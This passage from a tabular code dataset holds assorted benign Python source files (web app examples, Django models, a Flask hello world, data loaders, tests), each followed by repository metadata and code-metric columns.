│ ├── __init__.p... | 32.127737 | 118 | 0.55288 | 1,082 | 8,803 | 4.530499 | 0.288355 | 0.015504 | 0.01122 | 0.014688 | 0.154019 | 0.097919 | 0.075275 | 0.061404 | 0.042432 | 0.042432 | 0 | 0.018165 | 0.243326 | 8,803 | 273 | 119 | 32.245421 | 0.695841 | 0.006589 | 0 | 0.089947 | 0 | 0.037037 | 0.655208 | 0.113337 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.005291 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b9ea257526e7e979fbb40233c880b089f2cdfef3 | 1,234 | py | Python | py/examples/toolbar.py | swt2c/wave | 7fe897a34f4ac25157920132b2e873da755643a8 | [
"Apache-2.0"
] | 3,013 | 2020-12-15T15:53:23.000Z | 2022-03-31T00:21:06.000Z | py/examples/toolbar.py | swt2c/wave | 7fe897a34f4ac25157920132b2e873da755643a8 | [
"Apache-2.0"
] | 591 | 2020-12-15T15:54:42.000Z | 2022-03-31T12:51:19.000Z | py/examples/toolbar.py | swt2c/wave | 7fe897a34f4ac25157920132b2e873da755643a8 | [
"Apache-2.0"
] | 159 | 2020-12-15T16:34:43.000Z | 2022-03-31T07:27:16.000Z | # Toolbar
# Use toolbars to provide commands that operate on the content of a page.
# #toolbar #command
# ---
from h2o_wave import main, app, Q, ui
@app('/demo')
async def serve(q: Q):
q.page['nav'] = ui.toolbar_card(
box='1 1 4 1',
items=[
ui.command(
name='new', label... | 36.294118 | 89 | 0.529984 | 145 | 1,234 | 4.482759 | 0.42069 | 0.152308 | 0.22 | 0.110769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005675 | 0.286062 | 1,234 | 33 | 90 | 37.393939 | 0.732123 | 0.080227 | 0 | 0.111111 | 0 | 0 | 0.197695 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.037037 | 0 | 0.037037 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b9f1e5c32cdb945008be4c40591c2a456c37df37 | 690 | py | Python | examples/process_viral_data.py | uwdata/papers-vsup | 7a2bacdc1ddf8993f8b44016f10930fb6665f5bd | [
"MIT"
] | 21 | 2018-03-26T07:45:14.000Z | 2021-09-06T18:55:15.000Z | examples/process_viral_data.py | uwdata/papers-vsup | 7a2bacdc1ddf8993f8b44016f10930fb6665f5bd | [
"MIT"
] | null | null | null | examples/process_viral_data.py | uwdata/papers-vsup | 7a2bacdc1ddf8993f8b44016f10930fb6665f5bd | [
"MIT"
] | 1 | 2018-03-09T10:08:21.000Z | 2018-03-09T10:08:21.000Z | import sys
import numpy as np
import pandas as pd
import scipy.stats as stats
# Individual,Position,n_percent,dip_percent,Mutation,BadReads
df = pd.read_csv(sys.stdin, usecols = ['Individual', 'Position', 'Mutation', 'BadReads'])
# df = df[df.Position >= 6558][df.Position <= 6853]
# df = df[df.Position >= 6784][df.P... | 32.857143 | 89 | 0.701449 | 107 | 690 | 4.476636 | 0.420561 | 0.292276 | 0.050104 | 0.11691 | 0.11691 | 0.11691 | 0.11691 | 0 | 0 | 0 | 0 | 0.059113 | 0.117391 | 690 | 20 | 90 | 34.5 | 0.727422 | 0.302899 | 0 | 0 | 0 | 0 | 0.109244 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.363636 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
b9f264845b2e7dfb940f765f8120642e1c9ad2f4 | 429 | py | Python | pinax/projects/social_project/apps/friends_app/forms.py | jpic/pinax | a9b30e437e4298d74101b45cec0d4dba9702cdd1 | [
"MIT"
] | 1 | 2019-02-12T04:45:09.000Z | 2019-02-12T04:45:09.000Z | pinax/projects/social_project/apps/friends_app/forms.py | jpic/pinax | a9b30e437e4298d74101b45cec0d4dba9702cdd1 | [
"MIT"
] | null | null | null | pinax/projects/social_project/apps/friends_app/forms.py | jpic/pinax | a9b30e437e4298d74101b45cec0d4dba9702cdd1 | [
"MIT"
] | 1 | 2019-02-12T04:45:40.000Z | 2019-02-12T04:45:40.000Z | from django import forms
from django.contrib.auth.models import User
from friends.models import *
from friends.importer import import_vcards
# @@@ move to django-friends when ready
class ImportVCardForm(forms.Form):
vcard_file = forms.FileField(label="vCard File")
def save(self, user):
i... | 22.578947 | 86 | 0.724942 | 56 | 429 | 5.464286 | 0.553571 | 0.088235 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.18648 | 429 | 18 | 87 | 23.833333 | 0.876791 | 0.086247 | 0 | 0 | 0 | 0 | 0.051282 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.777778 | 0 | 1.222222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
b9f59ae88a4f391506e6de2ce39e819015493502 | 805 | py | Python | ship.py | krishnaa208/Space-Invaders-with-Processing-Python- | e6626165fffb6c03d602a732f7e9697718c1696a | [
"Apache-2.0"
] | null | null | null | ship.py | krishnaa208/Space-Invaders-with-Processing-Python- | e6626165fffb6c03d602a732f7e9697718c1696a | [
"Apache-2.0"
] | null | null | null | ship.py | krishnaa208/Space-Invaders-with-Processing-Python- | e6626165fffb6c03d602a732f7e9697718c1696a | [
"Apache-2.0"
] | null | null | null |
class Ship:
def __init__(self):
self.x = width/2
self.y = height
self.H = 50
self.W = 50
self.r = 50
self.dir = 0
self.P = self.W/2
self.modified = False
def show(self):
fill(255)
rectMode(CENTER)
noStroke()
... | 25.15625 | 47 | 0.493168 | 134 | 805 | 2.932836 | 0.268657 | 0.152672 | 0.206107 | 0.165394 | 0.445293 | 0.445293 | 0.445293 | 0.300254 | 0.300254 | 0.300254 | 0 | 0.070039 | 0.361491 | 805 | 32 | 48 | 25.15625 | 0.694553 | 0 | 0 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0 | 0 | 0.192308 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b9f9ead18b1167112e90d28dfd3f1a17434c9561 | 178 | py | Python | run.py | cesarmayta/flaskexamples | 7940650ab73342952d36602270a0731823a1ce34 | [
"MIT"
] | null | null | null | run.py | cesarmayta/flaskexamples | 7940650ab73342952d36602270a0731823a1ce34 | [
"MIT"
] | null | null | null | run.py | cesarmayta/flaskexamples | 7940650ab73342952d36602270a0731823a1ce34 | [
"MIT"
] | null | null | null | from flask import Flask
app= Flask(__name__)
@app.route('/')
def index():
return '<h1>HOLA MUNDO FLASK</h1>'
if __name__ == '__main__':
app.run(debug = True,port=5050) | 17.8 | 38 | 0.657303 | 26 | 178 | 4.038462 | 0.730769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.040541 | 0.168539 | 178 | 10 | 39 | 17.8 | 0.668919 | 0 | 0 | 0 | 0 | 0 | 0.189944 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0.142857 | 0.428571 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
b9fa271c583561bb45135af98ac905c1c78eefca | 2,083 | py | Python | core/python/kungfu/data/sqlite/data_proxy.py | LuJun1012/kungfu | 1ec448efffee99cc5d0c54118380ae792c0367be | [
"Apache-2.0"
] | 1 | 2019-07-12T15:35:21.000Z | 2019-07-12T15:35:21.000Z | core/python/kungfu/data/sqlite/data_proxy.py | LuJun1012/kungfu | 1ec448efffee99cc5d0c54118380ae792c0367be | [
"Apache-2.0"
] | null | null | null | core/python/kungfu/data/sqlite/data_proxy.py | LuJun1012/kungfu | 1ec448efffee99cc5d0c54118380ae792c0367be | [
"Apache-2.0"
] | null | null | null |
from . import *
from kungfu.data.sqlite.models import *
import pyyjj
def make_url(locator, location, filename):
db_file = locator.layout_file(location, pyyjj.layout.SQLITE, filename)
return 'sqlite:///{}'.format(db_file)
class DataProxy:
def __init__(self, url):
self.engine = create_engine(url)
... | 35.913793 | 140 | 0.648104 | 252 | 2,083 | 5.126984 | 0.281746 | 0.055728 | 0.083591 | 0.077399 | 0.411765 | 0.315789 | 0.315789 | 0.315789 | 0.263158 | 0.263158 | 0 | 0 | 0.255881 | 2,083 | 57 | 141 | 36.54386 | 0.833548 | 0 | 0 | 0.266667 | 0 | 0 | 0.005766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0.066667 | 0.066667 | 0 | 0.377778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
b9ffc6588600ee7a3b7d40108601790b785c50b7 | 1,339 | py | Python | forum/tests/functional_tests/test_registeration.py | SH-anonta/Discussion-Forum | 03c92916d4dd708ad76e0aa945aaecacb1eac30e | [
"MIT"
] | null | null | null | forum/tests/functional_tests/test_registeration.py | SH-anonta/Discussion-Forum | 03c92916d4dd708ad76e0aa945aaecacb1eac30e | [
"MIT"
] | null | null | null | forum/tests/functional_tests/test_registeration.py | SH-anonta/Discussion-Forum | 03c92916d4dd708ad76e0aa945aaecacb1eac30e | [
"MIT"
] | null | null | null | from forum.tests.functional_tests.base_testcase import BaseTestCase
from forum.tests.functional_tests.page_objects import RegistrationPage
class RegistrationTest(BaseTestCase):
def loadData(self):
pass
# Test Case: 56
def test_basicRegistration(self):
browser = self.browser
#Page o... | 29.755556 | 75 | 0.678865 | 154 | 1,339 | 5.831169 | 0.525974 | 0.046771 | 0.03118 | 0.053452 | 0.106904 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002024 | 0.262136 | 1,339 | 45 | 76 | 29.755556 | 0.906883 | 0.34354 | 0 | 0 | 0 | 0 | 0.035755 | 0 | 0 | 0 | 0 | 0.022222 | 0.1 | 1 | 0.1 | false | 0.2 | 0.1 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
6a00ef85088123bf37e296ed8c776f897b593275 | 1,603 | py | Python | virtual/lib/python3.8/site-packages/sqlalchemy/pool/__init__.py | Lenus254/personal_blog | aac38e4b5372c86efa8e24db2e051fef8e5feef8 | [
"Unlicense"
] | 4 | 2022-02-06T00:54:58.000Z | 2022-02-25T12:44:43.000Z | virtual/lib/python3.8/site-packages/sqlalchemy/pool/__init__.py | Lenus254/personal_blog | aac38e4b5372c86efa8e24db2e051fef8e5feef8 | [
"Unlicense"
] | 1 | 2022-03-17T13:12:17.000Z | 2022-03-17T13:12:17.000Z | virtual/lib/python3.8/site-packages/sqlalchemy/pool/__init__.py | Lenus254/personal_blog | aac38e4b5372c86efa8e24db2e051fef8e5feef8 | [
"Unlicense"
] | 1 | 2022-02-08T13:43:20.000Z | 2022-02-08T13:43:20.000Z | # sqlalchemy/pool/__init__.py
# Copyright (C) 2005-2022 the SQLAlchemy authors and contributors
# <see AUTHORS file>
#
# This module is part of SQLAlchemy and is released under
# the MIT License: https://www.opensource.org/licenses/mit-license.php
"""Connection pooling for DB-API connections.
Provides a number of co... | 28.122807 | 70 | 0.777916 | 206 | 1,603 | 5.946602 | 0.504854 | 0.045714 | 0.08 | 0.046531 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007396 | 0.156581 | 1,603 | 56 | 71 | 28.625 | 0.898669 | 0.45602 | 0 | 0 | 0 | 0 | 0.19697 | 0.058275 | 0 | 0 | 0 | 0 | 0.0625 | 1 | 0 | false | 0 | 0.53125 | 0 | 0.53125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
6a0995fd0aabb0d566d83454a6e50feaee8ac172 | 2,529 | py | Python | api/resources/models.py | Quving/jobby | 813ca3b4172bdce844095551f74366540ae17229 | [
"MIT"
] | 1 | 2020-12-26T06:36:46.000Z | 2020-12-26T06:36:46.000Z | api/resources/models.py | Quving/jobby | 813ca3b4172bdce844095551f74366540ae17229 | [
"MIT"
] | null | null | null | api/resources/models.py | Quving/jobby | 813ca3b4172bdce844095551f74366540ae17229 | [
"MIT"
] | null | null | null | from django.contrib.auth.models import User
from django.db import models
# Create your models here.
class JobGroup(models.Model):
created_at = models.DateTimeField(auto_now_add=True)
created_by = models.ForeignKey(User, on_delete=models.PROTECT)
description = models.CharField(max_length=512)
name = mo... | 33.72 | 89 | 0.682483 | 307 | 2,529 | 5.407166 | 0.211726 | 0.11747 | 0.140964 | 0.187952 | 0.578313 | 0.562048 | 0.528916 | 0.493976 | 0.443976 | 0.41747 | 0 | 0.020449 | 0.207197 | 2,529 | 74 | 90 | 34.175676 | 0.807481 | 0.00949 | 0 | 0.473684 | 0 | 0 | 0.029165 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.035088 | 0.087719 | 0.807018 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6a1cfa83e787130cef359a056ad2de946a6402c6 | 793 | py | Python | pybeardy.zapper/pybeardy/zapper.py | beardypig/zapper-experiments | 23e00fbd3fd7da4634375851094bacaa6a04fe62 | [
"MIT"
] | 3 | 2016-02-01T00:50:04.000Z | 2018-04-18T20:32:40.000Z | pybeardy.zapper/pybeardy/zapper.py | beardypig/zapper-experiments | 23e00fbd3fd7da4634375851094bacaa6a04fe62 | [
"MIT"
] | null | null | null | pybeardy.zapper/pybeardy/zapper.py | beardypig/zapper-experiments | 23e00fbd3fd7da4634375851094bacaa6a04fe62 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import logging
from collections import namedtuple
import serial
log = logging.getLogger(__name__)
class ZapState(namedtuple("ZapState", ["trigger", "detect"])):
pass
class ZapSerial(object):
def __init__(self, port, baud=9600):
self.serial = serial.Serial(port, baud, timeout=... | 23.323529 | 69 | 0.635561 | 104 | 793 | 4.663462 | 0.548077 | 0.082474 | 0.070103 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026446 | 0.237074 | 793 | 33 | 70 | 24.030303 | 0.775207 | 0.078184 | 0 | 0 | 0 | 0 | 0.039781 | 0 | 0 | 0 | 0.00823 | 0 | 0 | 1 | 0.238095 | false | 0.047619 | 0.142857 | 0.047619 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6a3cb09037802803feb0253902993606f0d734d1 | 1,459 | py | Python | src/dataload/contrib/cosmic2/__init__.py | IsmailM/myvariant.info | 5af6ad68fc2c1eb539ab9e683a34bafd51ed5cb1 | [
"Apache-2.0"
] | null | null | null | src/dataload/contrib/cosmic2/__init__.py | IsmailM/myvariant.info | 5af6ad68fc2c1eb539ab9e683a34bafd51ed5cb1 | [
"Apache-2.0"
] | null | null | null | src/dataload/contrib/cosmic2/__init__.py | IsmailM/myvariant.info | 5af6ad68fc2c1eb539ab9e683a34bafd51ed5cb1 | [
"Apache-2.0"
] | 1 | 2018-11-17T09:16:59.000Z | 2018-11-17T09:16:59.000Z | from .cosmic_parser import load_data as _load_data
__METADATA__ = {
"src_name": 'COSMIC',
"src_url": 'http://cancer.sanger.ac.uk/cosmic',
"version": '72',
"field": "cosmic"
}
COSMIC_INPUT_FILE = ''
def load_data():
cosmic_data = _load_data(COSMIC_INPUT_FILE)
return cosmic_data
def get_ma... | 24.728814 | 71 | 0.367375 | 97 | 1,459 | 5.237113 | 0.474227 | 0.11811 | 0.141732 | 0.188976 | 0.259843 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005556 | 0.506511 | 1,459 | 58 | 72 | 25.155172 | 0.7 | 0.047293 | 0 | 0.212766 | 0 | 0 | 0.233213 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.042553 | false | 0 | 0.021277 | 0 | 0.106383 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6a43a2f51d0aa8fad7d9cd074357510e52b54e4d | 477 | py | Python | backloggery_add_games/pages/login.py | Bigpoe/BackloggeryAddGames | bba55fda946bec0129693be849913500c30cc629 | [
"MIT"
] | 1 | 2020-06-08T23:08:20.000Z | 2020-06-08T23:08:20.000Z | backloggery_add_games/pages/login.py | Bigpoe/BackloggeryAddGames | bba55fda946bec0129693be849913500c30cc629 | [
"MIT"
] | 2 | 2021-03-31T19:46:07.000Z | 2021-12-13T20:40:01.000Z | backloggery_add_games/pages/login.py | Bigpoe/BackloggeryAddGames | bba55fda946bec0129693be849913500c30cc629 | [
"MIT"
] | 1 | 2020-05-18T01:35:37.000Z | 2020-05-18T01:35:37.000Z | class LoginObj:
def __init__(self, driver):
self.driver = driver
self.username = driver.find_element_by_css_selector('#email')
self.password = driver.find_element_by_css_selector('#password')
self.login_button = driver.find_element_by_css_selector("input[value='Submit']")
def l... | 39.75 | 88 | 0.704403 | 59 | 477 | 5.338983 | 0.389831 | 0.114286 | 0.161905 | 0.180952 | 0.285714 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186583 | 477 | 12 | 89 | 39.75 | 0.811856 | 0 | 0 | 0 | 0 | 0 | 0.075314 | 0.043933 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.3 | 0 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
dbeea579739b47603a6fc2c26b1ef72b34d8bc0c | 6,139 | py | Python | crane/common/model/resource/base.py | friendliai/crane-public | 6f173ebc676f888f097e1d878b600a91a1637867 | [
"Apache-2.0"
] | 2 | 2022-03-13T16:30:34.000Z | 2022-03-13T17:01:17.000Z | crane/common/model/resource/base.py | friendliai/crane-public | 6f173ebc676f888f097e1d878b600a91a1637867 | [
"Apache-2.0"
] | 1 | 2022-03-13T16:30:20.000Z | 2022-03-13T16:30:20.000Z | crane/common/model/resource/base.py | friendliai/crane-public | 6f173ebc676f888f097e1d878b600a91a1637867 | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2018-2021 Seoul National University
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 31.64433 | 83 | 0.651898 | 739 | 6,139 | 5.216509 | 0.232747 | 0.088197 | 0.04358 | 0.051881 | 0.444099 | 0.390402 | 0.350973 | 0.313619 | 0.307912 | 0.285344 | 0 | 0.00345 | 0.244502 | 6,139 | 193 | 84 | 31.80829 | 0.827727 | 0.310963 | 0 | 0.357143 | 0 | 0 | 0.034724 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.22619 | false | 0 | 0.059524 | 0 | 0.654762 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dbf7f40984acd9e29b2cecf6c7a4656e0e1eb19a | 1,835 | py | Python | appengine/config_service/main.py | maruel/swarming | 8ab7568635fcbfd85a01884b64704fc2a1ac13c7 | [
"Apache-2.0"
] | 74 | 2015-04-01T02:35:15.000Z | 2021-12-17T22:10:56.000Z | appengine/config_service/main.py | maruel/swarming | 8ab7568635fcbfd85a01884b64704fc2a1ac13c7 | [
"Apache-2.0"
] | 123 | 2015-04-01T04:02:57.000Z | 2022-03-02T12:49:55.000Z | appengine/config_service/main.py | maruel/swarming | 8ab7568635fcbfd85a01884b64704fc2a1ac13c7 | [
"Apache-2.0"
] | 32 | 2015-04-03T01:40:47.000Z | 2021-11-13T15:20:13.000Z | # Copyright 2015 The LUCI Authors. All rights reserved.
# Use of this source code is governed under the Apache License, Version 2.0
# that can be found in the LICENSE file.
import os
import sys
APP_DIR = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.join(APP_DIR, 'components', 'third_party'))
... | 29.126984 | 79 | 0.747139 | 252 | 1,835 | 5.234127 | 0.416667 | 0.027293 | 0.060652 | 0.036391 | 0.241092 | 0.181956 | 0.181956 | 0.113723 | 0.060652 | 0 | 0 | 0.009021 | 0.154223 | 1,835 | 62 | 80 | 29.596774 | 0.840851 | 0.2703 | 0 | 0.052632 | 0 | 0 | 0.037376 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.131579 | false | 0 | 0.315789 | 0 | 0.552632 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
e0066447b97349f009a0471090e6947fb7ace717 | 3,253 | py | Python | ldsbde/cli/init.py | linz/lds-bde-loader | 15b5fbc962c4766b73893fa01bdde6ca9a3a6807 | [
"BSD-3-Clause"
] | null | null | null | ldsbde/cli/init.py | linz/lds-bde-loader | 15b5fbc962c4766b73893fa01bdde6ca9a3a6807 | [
"BSD-3-Clause"
] | 2 | 2019-05-08T07:58:01.000Z | 2019-08-05T08:09:03.000Z | ldsbde/cli/init.py | linz/lds-bde-loader | 15b5fbc962c4766b73893fa01bdde6ca9a3a6807 | [
"BSD-3-Clause"
] | null | null | null | import logging
import os
import platform
import click
import koordinates
SCOPES = ('layers:read', 'layers:write', 'sources:read',)
L = logging.getLogger("ldsbde.init")
def generate_credentials(endpoint):
email = click.prompt("Enter your user account email address")
password = click.prompt("Password", hid... | 33.536082 | 133 | 0.659699 | 426 | 3,253 | 4.91784 | 0.34507 | 0.061098 | 0.022912 | 0.025776 | 0.108831 | 0.038186 | 0 | 0 | 0 | 0 | 0 | 0.003132 | 0.214879 | 3,253 | 96 | 134 | 33.885417 | 0.81715 | 0 | 0 | 0.148649 | 1 | 0.013514 | 0.230985 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.040541 | 0.067568 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e0180b988125a93e2aade62ee9afe5e50cbefd26 | 1,499 | py | Python | bulbs/titan/tests/client_tests.py | rpedigoni/bulbs | 0c0f4e5883ba796dff1afae5413b0388491eb55d | [
"BSD-3-Clause"
] | 1 | 2017-06-14T13:57:23.000Z | 2017-06-14T13:57:23.000Z | bulbs/titan/tests/client_tests.py | rpedigoni/bulbs | 0c0f4e5883ba796dff1afae5413b0388491eb55d | [
"BSD-3-Clause"
] | null | null | null | bulbs/titan/tests/client_tests.py | rpedigoni/bulbs | 0c0f4e5883ba796dff1afae5413b0388491eb55d | [
"BSD-3-Clause"
] | null | null | null | import sys
import argparse
import unittest
from bulbs.config import Config
from bulbs.tests.client_tests import ClientTestCase
from bulbs.tests.client_index_tests import ClientIndexTestCase
from bulbs.titan.client import TitanClient, TITAN_URI, DEBUG
import time
# Default database. You can override this with the com... | 24.57377 | 75 | 0.732488 | 189 | 1,499 | 5.592593 | 0.386243 | 0.045412 | 0.041627 | 0.065279 | 0.189215 | 0.161779 | 0.085147 | 0.085147 | 0.085147 | 0.085147 | 0 | 0.001631 | 0.182121 | 1,499 | 60 | 76 | 24.983333 | 0.860522 | 0.182789 | 0 | 0.228571 | 0 | 0 | 0.034483 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.114286 | 0.228571 | 0 | 0.514286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
e01ba204ba0a583b84d467e4a341099ddfa4b799 | 130 | py | Python | task_2b.py | iOknes/FYS-MEK1110-project | 278c2fcb3b0bf2b68358fd11d795ed883bdcf5d8 | [
"MIT"
] | null | null | null | task_2b.py | iOknes/FYS-MEK1110-project | 278c2fcb3b0bf2b68358fd11d795ed883bdcf5d8 | [
"MIT"
] | 1 | 2020-03-08T23:28:47.000Z | 2020-03-08T23:28:47.000Z | task_2b.py | iOknes/FYS-MEK1110-project | 278c2fcb3b0bf2b68358fd11d795ed883bdcf5d8 | [
"MIT"
] | null | null | null | import numpy as np
from md import MD
md = MD(1,1)
md.add_molecules([(0,0,0),(1.5,0,0)], np.zeros([2,3]))
md.solve(1e-2, 5)
| 18.571429 | 55 | 0.592308 | 31 | 130 | 2.451613 | 0.516129 | 0.078947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12963 | 0.169231 | 130 | 6 | 56 | 21.666667 | 0.574074 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
e01cfd585cef47469cca4beb124db1a8e061cafc | 920 | py | Python | DYCHEM-Accelerated/hiertsforecaster/preprocess/time_series_data.py | aaronhan223/htsf | cfda92e63bcf9743e25d1784c32363ab50d573bb | [
"BSD-3-Clause"
] | 2 | 2022-01-06T00:34:49.000Z | 2022-01-11T09:07:53.000Z | DYCHEM-Accelerated/hiertsforecaster/preprocess/time_series_data.py | aaronhan223/htsf | cfda92e63bcf9743e25d1784c32363ab50d573bb | [
"BSD-3-Clause"
] | null | null | null | DYCHEM-Accelerated/hiertsforecaster/preprocess/time_series_data.py | aaronhan223/htsf | cfda92e63bcf9743e25d1784c32363ab50d573bb | [
"BSD-3-Clause"
] | null | null | null | from hiertsforecaster.preprocess.hierarchical import TreeNodes
from hiertsforecaster.preprocess import train_config
import pdb
class HierTimeSeriesData:
'''
